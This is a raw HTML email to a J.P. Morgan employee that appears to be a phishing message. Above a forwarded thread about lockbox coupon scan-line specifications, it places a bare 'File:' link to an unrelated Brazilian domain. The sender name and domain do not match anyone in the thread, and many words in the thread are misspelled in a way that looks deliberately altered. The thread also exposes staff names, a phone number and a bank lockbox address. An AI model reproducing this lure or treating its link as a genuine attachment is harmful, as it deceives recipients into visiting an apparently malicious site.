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Date: Wed, 20 Dec 2023 08:12:37 -0700
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To: renee.lucero@jpmorgan.com
From: "Vatsal Sha" <LKessler@allenwalkerdesign.com>
Subject: Scannable Specs

<html><body><p>File: https://camposalerta.com.br/oxswm0/?53561091<br></p><h=
r tabindex=3D"-1" style=3D"display:inline-block; width:98%"><div ><div><div=
>Sent from for Windows</div><div><div><b>From: </b><br><b>Sent: </b>22 Sept=
ember 2023 10:48 PM<br><b>To: </b>; <br><b>Subject: </b>FW: National Flood =
Services LLC | J.P. Morgan: Scannable Specs</div></div><div><span>Attached =
are the examples I sent to Joyce at the lockbox, she is telling us we need =
to include digits for cents in our Option A <b><u>AND</u></b> Option B amou=
nts.</span></div><div><span>Thiss is the breakown of the code:</span></div>=
<div><span>1-14 Policy nuuber</span></div><div><span>15-19 omppany NAIC</sp=
an></div><div><span>20-23 Lockbbox Zip Cod +4</span></div><div><span>24-32 =
Pemium Option A</span></div><div><span>33-41 Premium Option B (will be 0000=
0000 at new business, may be different on rennewal)</span></div><div><span>=
42 is the check diigt</span></div><div><span>Attached example 1 is currentl=
y:</span></div><div><span>00003139000122131391178000000673000000001</span><=
/div><div><span>Which breaksdowwn to:</span></div><div><span>00003139000122=
 (Policy Number</span></div><div><span>13139 (NAIC)</span></div><div><span>=
1178 (ockboox Zip +4)</span></div><div><span>000000673 (Option A) Need this=
 to read 00067300</span></div><div><span>000000000 (Optionn B) Need to corr=
ect code for renewals as well, other option </span></div><div><span>1 (heec=
k Digit)</span></div><div><span>For exaples 2 and 3:</span></div><div><span=
>00003139000140131391178<span>000000641</span>0000000008</span></div><div><=
span>Becomes</span></div><div><span>00003139000140131391178<span>000064100<=
/span>0000000008</span></div><div><span>And</span></div><div><span>00003139=
000150131391178<span>000000399</span>0000000009</span></div><div><span>Beco=
mes</span></div><div><span>00003139000150131391178<span>000039900</span>000=
0000009</span></div><div><span>Code was corrrect baed on what we received, =
lockbox is now telling us NFS has it wrong </span></div><div><span>Let me k=
now if I an eexplain further</span></div><div><div><div><b><span>From:</spa=
n></b><span> Decarlo, Joyce C <br><b>Sent:</b> Thursday, September 22, 2023=
 1:03 PM<br><b>To:</b> '' <br><b>Cc:</b> Lucero, Renee <br><b>Subject:</b> =
RE: National Flood Services LLC | J.P. Morgan: Scannable Specs</span></div>=
</div></div><div><span>Hi Doug, </span></div><div><span>The amount needs to=
 be the ful amount dollars and cents. I looked at some of the items in Lock=
box 733105 and the amounts in the scan line are not picking up correctly. $=
687.00 is showing as $6.87.</span></div><div><div><span>Thanks, </span></di=
v><div><span>Joyce</span></div><div><span>We aim to excceed yur expectation=
s. </span><span>Tell us hw we aree doing @ </span><span>. </span></div><div=
><b><span>Joyce DeCarlo </span></b><span>| Vice President | Technical Imple=
mentation Specialist | Client Onboarding | Commercial Banking | <b>J.P. Mor=
gan </b>| T: 312-954-2277| </span><span> </span></div></div><div><div><div>=
<b><span>From:</span></b><span> Decarlo, Joyce C (CB, USA) <br><b>Sent:</b>=
 Thursday, September 22, 2023 11:49 AM<br><b>To:</b> '' <br><b>Cc:</b> Luce=
ro, Renee (CB, USA) <br><b>Subject:</b> RE: National Flood Services LLC | J=
=2EP. Morgan: Scannable Specs</span></div></div></div><div><span>Hi Doug,</=
span></div><div><span>I beelieve it is required but will confirm with the L=
ockbx team and get back to you.</span></div><div><div><span>Thanks, </span>=
</div><div><span>Joyce</span></div><div><span>We aim to excceed yur expecta=
tions. </span><span>Tell us hw we aree doing @ </span><span>. </span></div>=
<div><b><span>Joyce DeCarlo </span></b><span>| Vice President | Technical I=
mplementation Specialist | Client Onboarding | Commercial Banking | <b>J.P.=
 Morgan </b>| T: 312-954-2277| </span><span> </span></div></div><div><div><=
div><b><span>From:</span></b><span>  <br><b>Sent:</b> Thursday, September 2=
2, 2023 11:01 AM<br><b>To:</b> Decarlo, Joyce C (CB, USA) <br><b>Cc:</b> Lu=
cero, Renee (CB, USA) <br><b>Subject:</b> RE: National Flood Services LLC |=
 J.P. Morgan: Scannable Specs</span></div></div></div><div><span>Good morni=
ng,</span></div><div><span>We do not use cents, all premiums are whole doll=
ars only, and the currently lockbox I mirrored with NFS MICR codes, doesnt =
break down into centss. For Example, $544 is the option B and are the last =
three digits before the check digit, nt 54400:</span></div><div><span>Is br=
eakingdown into cents a requirement? Ill need to adjust the code lines in t=
hat case.</span></div><div><span>Doug Holsen</span></div><div><span>UniFi M=
annagement</span></div><div><span><span>This communication, including all a=
ttachments, is confidential, only for the intended recipient, and protected=
 to the fulest extent of the law. </span></span></div><div><span><span>If y=
ou ae not the intended recipient, pllease do not read, copy, use, or disclo=
se this communication and notify the sender.</span></span></div><div><div><=
div><b><span>From:</span></b><span> Decarlo, Joyce C <br><b>Sent:</b> Thurs=
day, September 22, 2023 10:38 AM<br><b>To:</b> '' <br><b>Cc:</b> Lucero, Re=
nee <br><b>Subject:</b> RE: National Flood Services LLC | J.P. Morgan: Scan=
nable Specs</span></div></div></div><div><span>Hi Doug,</span></div><div><s=
pan>I have a couple of qustions. </span></div><ol><li><span>Based on the Sc=
annable breakdown you have the first amount field ending in position 32 of =
the scanline. That ends the amount without the ccents PDF 1 has an amount o=
n the face of the scanline as $673.00 dollars. But the amount in the scanli=
ne would read as $6.73 if you end the field in position 32</span></li><li><=
span>You mention cutting the coupon from the full Invoice Page, we strongly=
 rcommend that you use perforation to separate the ccoupon from the invoice=
=2E</span></li></ol><div><span>Let me know your thughts. </span></div><div>=
<div><span>Thanks, </span></div><div><span>Joyce</span></div><div><span>We =
aim to excceed yur expectations. </span><span>Tell us hw we aree doing @ </=
span><span>. </span></div><div><b><span>Joyce DeCarlo </span></b><span>| Vi=
ce President | Technical Implementation Specialist | Client Onboarding | Co=
mmercial Banking | <b>J.P. Morgan </b>| T: 312-954-2277| </span><span> </sp=
an></div></div><div><div><div><b><span>From:</span></b><span>  <br><b>Sent:=
</b> Wednesday, September 21, 2023 2:20 PM<br><b>To:</b> Decarlo, Joyce C (=
CB, USA) <br><b>Cc:</b> Lucero, Renee (CB, USA) <br><b>Subject:</b> RE: Nat=
ional Flood Services LLC | J.P. Morgan: Scannable Specs</span></div></div><=
/div><div><span>Joyce,</span></div><div><span>Im a bit confused to your que=
stion, but I think the issue is the version I sent last time. Since those w=
ere bad examples Im having a hard time breaking them down, I think there is=
 white text mixed into the code line. Ive attached three of the most curren=
t versions I have and an excel break down. 2<sup>nd</sup> row is the digit =
number (first digit, second digit, third digit, etc) for the attached examp=
les 1, 2, and 3. Let me know if this makes sense.</span></div><div><span>Im=
 still working on getting the coupon 100% pefect for testing, I believe the=
 only thing we are missing is the NAIC code we will be applying above Polic=
y #, and putting the zip +4 in the mailing address. I am also working on th=
e size, to fit less than 3-5/7 high for my remittance envelope, but if I cu=
t these down to size, can I mail them over in this current sttate? Or do yo=
u want me to mail the full invoice page, without cutting the coupon at the =
dotted line?</span></div><div><span>Doug Holsen</span></div><div><span>UniF=
i Mannagement</span></div><div><span><span>This communication, including al=
l attachments, is confidential, only for the intended recipient, and protec=
ted to the fulest extent of the law. </span></span></div><div><span><span>I=
f you ae not the intended recipient, pllease do not read, copy, use, or dis=
close this communication and notify the sender.</span></span></div><div><di=
v><div><b><span>From:</span></b><span> Decarlo, Joyce C <br><b>Sent:</b> We=
dnesday, September 21, 2023 2:53 PM<br><b>To:</b> '' <br><b>Cc:</b> Lucero,=
 Renee <br><b>Subject:</b> RE: National Flood Services LLC | J.P. Morgan: S=
cannable Specs</span></div></div></div><div><span>Hi Doug,</span></div><div=
><span>I am working on he Statement of Work and I tried to map the fields b=
elow to the copies of the scan line you sent. The email had 3 existing invo=
ices and the invoice format for the new coupon. Can you confirm if the brea=
k down below is for the new coupons and not the old? When I used tthe requi=
rements below the full amount due for the Premium Option A cuts off. If the=
 old coupons are going to be completely different then no need to send thos=
e.</span></div><div><span>I also wanted to check the format of the data fil=
e, the existing file for 733105 does not map to the rquirements in the scan=
 line so I wanted to see if we will jusst be changing the mapping in that f=
ile or if you have a different format you would like us to use. </span></di=
v><div><span>Let me knoow if you have any questions.</span></div><div><div>=
<span>Thanks, </span></div><div><span>Joyce</span></div><div><span>We aim t=
o excceed yur expectations. </span><span>Tell us hw we aree doing @ </span>=
<span>. </span></div><div><b><span>Joyce DeCarlo </span></b><span>| Vice Pr=
esident | Technical Implementation Specialist | Client Onboarding | Commerc=
ial Banking | <b>J.P. Morgan </b>| T: 312-954-2277| </span><span> </span></=
div></div><div><div><div><b><span>From:</span></b><span>  <br><b>Sent:</b> =
Tuesday, September 13, 2023 3:00 PM<br><b>To:</b> Decarlo, Joyce C (CB, USA=
) <br><b>Cc:</b> Lucero, Renee (CB, USA) <br><b>Subject:</b> RE: National F=
lood Services LLC | J.P. Morgan: Scannable Specs</span></div></div></div><d=
iv><span>Goo affternoon,</span></div><div><span>Ill have the ink correct, i=
t appears to be almost like whit text over it. The number breaks down as fo=
llows:</span></div><div><span>1-14 Policy nuuber</span></div><div><span>15-=
19 omppany NAIC</span></div><div><span>20-23 Lockbbox Zip Cod +4</span></di=
v><div><span>24-32 Pemium Option A</span></div><div><span>33-41 Premium Opt=
ion B (will be 00000000 at new business, may be different on rennewal)</spa=
n></div><div><span>42 is the check diigt</span></div><div><span>This mirror=
s the current codes NFS is using, are we able to use the lockbox zip+4 as t=
he others do? Otherwise Iwill need to adjust the code once we know what com=
panies are tied to what lockboox.</span></div><div><span>Doug Holsen</span>=
</div><div><span>UniFi Mannagement</span></div><div><span><span>This commun=
ication, including all attachments, is confidential, only for the intended =
recipient, and protected to the fulest extent of the law. </span></span></d=
iv><div><span><span>If you ae not the intended recipient, pllease do not re=
ad, copy, use, or disclose this communication and notify the sender.</span>=
</span></div><div><div><div><b><span>From:</span></b><span> Decarlo, Joyce =
C <br><b>Sent:</b> Tuesday, September 13, 2023 2:55 PM<br><b>To:</b> '' <br=
><b>Cc:</b> Lucero, Renee <br><b>Subject:</b> RE: National Flood Services L=
LC | J.P. Morgan: Scannable Specs</span></div></div></div><div><span>Hi Dou=
g, </span></div><div><span>See below for additional finding. </span></div><=
ol><li><span>The ink seems to e fading at the bottom of the digits inn the =
scan line</span></li><li><span>The Lockbox Number nneeds tobe included in t=
he scanline</span></li><li><span>Checkdigit calculation passed 2121 weights=
 and Sum of Digits However I need the breakdown of each field. I see the Ap=
plication number and the Amount but I am not sure the numberss in the middl=
e</span></li><li><span>The tart of the scan line from the leading edge is v=
ery close to the 6mm so you want to make sure you do not shift to the right=
 at all. </span></li></ol><div><div><span>Thanks, </span></div><div><span>J=
oyce</span></div><div><span>We aim to excceed yur expectations. </span><spa=
n>Tell us hw we aree doing @ </span><span>. </span></div><div><b><span>Joyc=
e DeCarlo </span></b><span>| Vice President | Technical Implementation Spec=
ialist | Client Onboarding | Commercial Banking | <b>J.P. Morgan </b>| T: 3=
12-954-2277| </span><span> </span></div></div><div><div><div><b><span>From:=
</span></b><span>  <br><b>Sent:</b> Tuesday, September 13, 2023 1:19 PM<br>=
<b>To:</b> Decarlo, Joyce C (CB, USA) <br><b>Cc:</b> Lucero, Renee (CB, USA=
) <br><b>Subject:</b> RE: National Flood Services LLC | J.P. Morgan: Scanna=
ble Specs</span></div></div></div><div><span>Yes, the png called Applicatio=
n Invoice is the new format I am trying to get uploaed to my system to gene=
rate, that is where the coode will be when we are finished. That does have =
the clear space around, I just currently cant generate codes on that form, =
I hope to have that available tomorrow though. I just wanted you to see the=
 codes quickly and if there were any other visual issues.</span></div><div>=
<div><div><b><span>From:</span></b><span> Decarlo, Joyce C <br><b>Sent:</b>=
 Tuesday, September 13, 2023 2:13 PM<br><b>To:</b> '' <br><b>Cc:</b> Lucero=
, Renee <br><b>Subject:</b> RE: National Flood Services LLC | J.P. Morgan: =
Scannable Specs</span></div></div></div><div><span>Hi Doug,</span></div><di=
v><span>I still need to check on the check digit routine but I wanted to le=
t you know that these couppons would not pass because the scan line is in t=
he middle and with the strip below underneath the scan line could throw the=
 read off. I attached a copy of a valid coupon from the spec. I will run th=
rough the other items in my reiew and get back to you shortly but I believe=
 you were hoping to get these to the vendor soon so I wanted to make sure I=
 gave you some quick feedback</span></div><div><div><span>Thanks, </span></=
div><div><span>Joyce</span></div><div><span>We aim to excceed yur expectati=
ons. </span><span>Tell us hw we aree doing @ </span><span>. </span></div><d=
iv><b><span>Joyce DeCarlo </span></b><span>| Vice President | Technical Imp=
lementation Specialist | Client Onboarding | Commercial Banking | <b>J.P. M=
organ </b>| T: 312-954-2277| </span><span> </span></div></div><div><div><di=
v><b><span>From:</span></b><span>  <br><b>Sent:</b> Tuesday, September 13, =
2023 12:10 PM<br><b>To:</b> Decarlo, Joyce C (CB, USA) <br><b>Subject:</b> =
RE: National Flood Services LLC | J.P. Morgan: Scannable Specs</span></div>=
</div></div><div><span>Goood fternoon Joyce,</span></div><div><span>I have =
attached three copies of the MICR code generating on the old version of our=
 coupon. I have also attached a copy of the new invoice format, with 6mm sp=
acing around the scan line, etc. I am hoping to have this generating on the=
 new format ASAP, and I can send over more on that form oncce it is availab=
le. We are using a mod 1 2121 format. </span></div><div><span>Doug Holsen</=
span></div><div><span>UniFi Mannagement</span></div><div><span><span>This c=
ommunication, including all attachments, is confidential, only for the inte=
nded recipient, and protected to the fulest extent of the law. </span></spa=
n></div><div><span><span>If you ae not the intended recipient, pllease do n=
ot read, copy, use, or disclose this communication and notify the sender.</=
span></span></div><div><div><div><b><span>From:</span></b><span> Decarlo, J=
oyce C <br><b>Sent:</b> Wednesday, August 24, 2023 4:31 PM<br><b>To:</b> Lu=
cero, Renee ; 'Hiren Patel' ; ; Hannes, Kyle W ; Hiller, Jacob ; McLaughlin=
, Alexander J ; <br><b>Cc:</b> Almaraz, Luis ; <br><b>Subject:</b> RE: Nati=
onal Flood Services LLC | J.P. Morgan: Scannable Specs</span></div></div></=
div><div><span>Hi Everyone, </span></div><div><span>Attached are the Scanna=
ble Cooupon specifications. Below are some process steps we wll follow.</sp=
an></div><ol><li><span>Once you have a coupon deign please send me a PDF co=
py for visual review and checkk digit calculation </span></li><ol><li><span=
>I will need to know the Weights you will use to create the Check Digit. Mo=
st common is Mod 1 with a weight off 1212</span></li></ol><li><span>Once ev=
erything looks good you will need to have 75 coupons printed and sent to th=
e Lockbox group at the address below. Once they are shipped send me the Tra=
cking Number so I can confirm receipt. Once they are received there is a 5 =
business day SLA ffor the Readability test. If approved those coupons will =
be used to create te file. If failed you will need to correct and send anot=
her 75 coupons</span></li></ol><div><span>JPMorgaan Chase - Lockbox (Mai Co=
de: IL1-0260)</span></div><div><span>Attn: Dan W DelGiudice- RO Impleementa=
tions</span></div><div><span>131 South Dearbon St, Floorr 6</span></div><di=
v><span>Chicago, IL 60603-556</span></div><ol><li><span>If you will have an=
 address change on the coupon you will need to send 150 Coupons with envelo=
pes These are needed so they can run them through the equipment to make sur=
e the address boxx is detected</span></li><li><span>I cannot start the Stat=
emnt of Work until I see the coupons and cannot submit the Request to the L=
ockbox team until the coupons pass the Readability test. The standard SLA f=
or the Scannable Setup is 10 12 weeks once we have a working coupon.</span>=
</li></ol><div><span>Let me knoow if you have any questions.</span></div><d=
iv><div><span>Thanks, </span></div><div><span>Joyce</span></div><div><span>=
We aim to excceed yur expectations. </span><span>Tell us hw we aree doing @=
 </span><span>. </span></div><div><b><span>Joyce DeCarlo </span></b><span>|=
 Vice President | Technical Implementation Specialist | Client Onboarding |=
 Commercial Banking | <b>J.P. Morgan </b>| T: 312-954-2277| </span><span> <=
/span></div></div><div><span>This message is confidential and subject to te=
rms at: including on confidential, privileged or legal entity information, =
malicious content and monitoring of electronic messages. If you are not the=
 intended recipient, pllease delete this message and notify thesender immed=
iately. Any unauthorized use is strictly prohibited.</span></div><div><span=
>This message is confidential and subject to terms at: including on confide=
ntial, privileged or legal entity information, malicious content and monito=
ring of electronic messages. If you are not the intended recipient, pllease=
 delete this message and notify thesender immediately. Any unauthorized use=
 is strictly prohibited.</span></div><div><span>This message is confidentia=
l and subject to terms at: including on confidential, privileged or legal e=
ntity information, malicious content and monitoring of electronic messages.=
 If you are not the intended recipient, pllease delete this message and not=
ify thesender immediately. Any unauthorized use is strictly prohibited.</sp=
an></div><div><span>This message is confidential and subject to terms at: i=
ncluding on confidential, privileged or legal entity information, malicious=
 content and monitoring of electronic messages. If you are not the intended=
 recipient, pllease delete this message and notify thesender immediately. A=
ny unauthorized use is strictly prohibited.</span></div><div><span>This mes=
sage is confidential and subject to terms at: including on confidential, pr=
ivileged or legal entity information, malicious content and monitoring of e=
lectronic messages. If you are not the intended recipient, pllease delete t=
his message and notify thesender immediately. Any unauthorized use is stric=
tly prohibited.</span></div><div><span>This message is confidential and sub=
ject to terms at: including on confidential, privileged or legal entity inf=
ormation, malicious content and monitoring of electronic messages. If you a=
re not the intended recipient, pllease delete this message and notify these=
nder immediately. Any unauthorized use is strictly prohibited.</span></div>=
</div></div></body></html>

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